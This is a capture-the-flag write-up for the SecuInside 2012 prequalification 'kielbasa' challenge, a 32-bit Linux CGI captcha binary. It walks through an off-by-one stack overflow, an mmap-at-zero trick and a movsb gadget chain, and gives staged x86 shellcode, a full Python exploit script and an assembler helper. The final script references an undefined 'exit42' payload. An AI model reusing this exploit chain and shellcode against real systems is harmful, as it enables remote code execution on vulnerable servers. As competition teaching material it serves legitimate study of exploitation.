SecuInside2K12 Prequals: kielbasa writeup
Kielbasa is a linux elf32 cgi binary which generates and validates ASCII art captchas.
It is accessed via the following address:
http://61.42.25.20/captcha/captcha.cgi?q=sent&v=<captcha>&t_s=<timestamp>
It runs on a CentOS 6.2 with exec-shield and stack randomization. SELinux
appears to be disabled and mmap_min_addr = 0
so we can mmap
the first page.
It also turned out that this page was exectuable.
Disclaimer: Our exploit seemed to fail on the remote service (Apache returned an error) but near the end of the ctf we found out that using another shellcode did in fact work.
Stage 1 - Craft the stack
The vulnerable function is sub_8048EB0
, it has the following stack:
top of the stack
...
-0x168 char* QUERY_STRING
-0x164 char t_s[32]
-0x144 size_t v_size
-0x140 char v[32]
-0x120 char* user_agent
-0x11C char* ptr_to_t_s
-0x118 char* remote_port
-0x114 char* somewhere
-0x110 char* remote_addr
-0x109 uint8 mmap_flags
-0x108 int use_malloc
...
bottom of the stack
There is an off by one overflow on the size of the t_s
paramater wich lets us
overwrite the first byte of v_size
(default is 8
). As t_s
can only
contain digits, the maximum value we can put in v_size
is 0x39
, the ASCII
value for 9
. Thus we can overwrite the stack up to -0x107
(second byte of
use_malloc
) with the content of v
.
It then executes (many checks have been removed):
/* ... */
if (use_malloc)
{
buf = malloc(0x1000u);
/* ... */
}
else
{
buf = mmap(0, 0x1000u, mmap_flag, 0, 0);
/* ... */
}
/* ... */
sprintf(buf, "[%s][%s][%s]\n\n", remote_addr, remote_port, user_agent);
/* ... */
if (!*ptr_to_t_s && *somewhere)
{
jmp(0);
return -1;
}
/* ... */
Our goal is to trigger the mmap
with the following flags: MAP_PRIVATE |
MAP_FIXED | MAP_ANONYMOUS
and then to use the jmp(0)
in order to execute our
mapped page.
The page have to contain valid code. We only control the three pointers
remote_addr
, remote_port
and user_agent
, used by the sprintf
call ([
is pop ebx
and ]
is pop ebp
).
We needed to find null terminated gadget that would be concatenated.
When we jump to 0x0
the registers have the following values:
esi = 0xffffd011 = pointer to v
edi = 0
We then searched for a movsb
gadget and found an movsb
followed by jmp $ -
4
hidden in a lea esp, [ebp-244h]
:
$ rasm2 -d 8da57cfdffff
lea esp, [ebp+0xfffffd7c]
$ rasm2 -d a57cfd
movsd
jl 0x8048000
As rasm2
start address is 0x08048000
we can see that this produces an
movsb
infinite loop that copies our v
buffer to 0x0
and this until the
movsb
loop gets overwritten. Our stage2
shellcode is located in the v
buffer at offset 0x8
. The jmp $ - 4
is replaced by a jmp 0x8
wich execute
our shellcode.
We put this gadget in our user_agent
and junk (but valid) code in
remote_addr
and remote_port
in order to reserve some place to put our
stage2
shellcode.
Before:
(gdb) x/17i 0
=> 0x0: pop ebx ; [
0x1: nop ; junk
0x2: nop
0x3: nop
0x4: push ebp
0x5: mov ebp,esp
0x7: cmp DWORD PTR ds:0x804afa4,0x5d ; ] is eaten by cmp
0xe: pop ebx ; [
0xf: nop ; junk
0x10: nop
0x11: nop
0x12: push ebp
0x13: mov ebp,esp
0x15: cmp DWORD PTR ds:0x804afa4,0x5d ; ] is eaten by cmp
0x1c: pop ebx ; [
0x1d: movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
0x1e: jl 0x1d
After:
(gdb) x/17i 0
0x0: popa ; v[0] = 'a'
0x1: popa ; v[1] = 'a'
0x2: popa ; v[2] = 'a'
0x3: popa ; v[3] = 'a'
0x4: popa ; v[4] = 'a'
0x5: popa ; v[5] = 'a'
0x6: popa ; v[6] = 'a'
0x7: popa ; v[7] = 'a'
0x8: xor ecx,ecx ; stage2 shellcode
0xa: inc ecx
0xb: shl ecx,0x5
0xe: sub di,0x8
0x12: add si,0x19
0x16: rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
0x18: nop
0x19: nop
0x1a: nop
0x1b: nop
0x1c: nop
0x1d: nop
=> 0x1e: jmp 0x8
Here is the stack we crafted:
null = struct.pack("<I", 0x0804897f)
nops = struct.pack("<I", 0x080488bd)
movs_jmp = struct.pack("<I", 0x0804963d)
jmp_arg0 = struct.pack("<I", 0x08049648)
MAP_PRIVATE = 0x02
MAP_FIXED = 0x10
MAP_ANONYMOUS = 0x20
mmap_flag = struct.pack("B", MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS)
v = captcha # v[0:8]
v += stage2 # v[8:28]
v += (30 - len(v)) * b'\x90' # nop padding
v += yasm("jmp $ - 22") # v[28:32] = b"\xeb\xe8"
v += movs_jmp # v[32:36] user_agent
v += null # v[36:40]
v += nops # v[40:44] remote_port
v += jmp_arg0 # v[44:48]
v += nops # v[48:52] remote_addr
v += b"\x01" * 3 # v[52:55]
v += mmap_flag # v[55:56]
Stage 2 - Copy our full shellcode
Our stage2
is very simple, when we jump back to 0x8
we have the
QUERY_STRING
pointer in esi
.
stage2 = yasm("""
BITS 32
xor ecx, ecx
inc ecx
shl ecx, 5 ; 0x100
sub di, 8
add si, 25
rep movsb
""")
Stage 3 - Free pwn
We put our full length stage3
shellcode at the end of our query:
http://61.42.25.20/captcha/captcha.cgi?q=sent&v=<captcha>&t_s=<timestamp>&<stage3>
For example, a simple ls
:
ls = yasm("""
BITS 32
xor ecx, ecx
mul ecx
push ecx
push 0x736c2f2f ;; sl//
push 0x6e69622f ;; nib/
mov ebx, esp
push ecx
push ebx
mov ecx, esp
mov al, 11
int 0x80
""")
Full exploit
#!/usr/bin/python3
import os
import struct
from asm import yasm
stage2 = yasm("""
BITS 32
xor ecx, ecx
inc ecx
shl ecx, 5 ; 0x100
sub di, 8
add si, 25
rep movsb
""")
ls = yasm("""
BITS 32
xor ecx, ecx
mul ecx
push ecx
push "//ls" ;; sl//
push "/bin" ;; nib/
mov ebx, esp
push ecx
push ebx
mov ecx, esp
mov al, 11
int 0x80
""")
nops = struct.pack("<I", 0x080488BD)
movs_jmp = struct.pack("<I", 0x0804963d)
null = struct.pack("<I", 0x0804897f)
jmp_arg0 = struct.pack("<I", 0x08049648)
MAP_PRIVATE = 0x02
MAP_FIXED = 0x10
MAP_ANONYMOUS = 0x20
mmap_flag = struct.pack("B", MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS)
t_s = b"9999999999999999999999999999999999999"
captcha = b"a" * 8
v = captcha
v += stage2
v += (30 - len(v)) * b'\x90' # nop padding
v += yasm("jmp $ - 22")
v += movs_jmp # USER_AGENT
v += null
v += nops # REMOTE_PORT
v += jmp_arg0
v += nops # REMOTE_ADDR
v += b"\x01" * 3 # padding
v += mmap_flag
env = b'REMOTE_ADDR=192.168.103.61 REMOTE_PORT=80 REQUEST_METHOD="GET" '\
b'HTTP_USER_AGENT="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"'
query = b"q=sent&t_s=" + t_s + b"&v=" + v + b"&" + exit42
os.system(env + b' QUERY_STRING="' + query + b'" ./captcha.cgi')
My asm.py
tool:
```python #!/usr/bin/env python3
LSE - Rémi Audebert - 2012
import sys import tempfile import subprocess
def yasm(code): “"”Assemble x86 code with yasm
>>> yasm("int 0x80")
b'\\xcd\\x80'
"""
with tempfile.NamedTemporaryFile() as output_file:
p = subprocess.Popen(['/usr/bin/yasm',
'-fbin', # raw outout
'-o', output_file.name,
'-'],
stdin=subprocess.PIPE)
p.communicate(code.encode())
return output_file.read()
def cstring(data): “”” Convert bytes to c string
>>> cstring(bytearray([0xcd, 0x80]))
'\\\\xcd\\\\x80'
"""
return "".join("\\x" + hex(c)[2:] for c in data)
if name == “main”: import doctest doctest.testmod()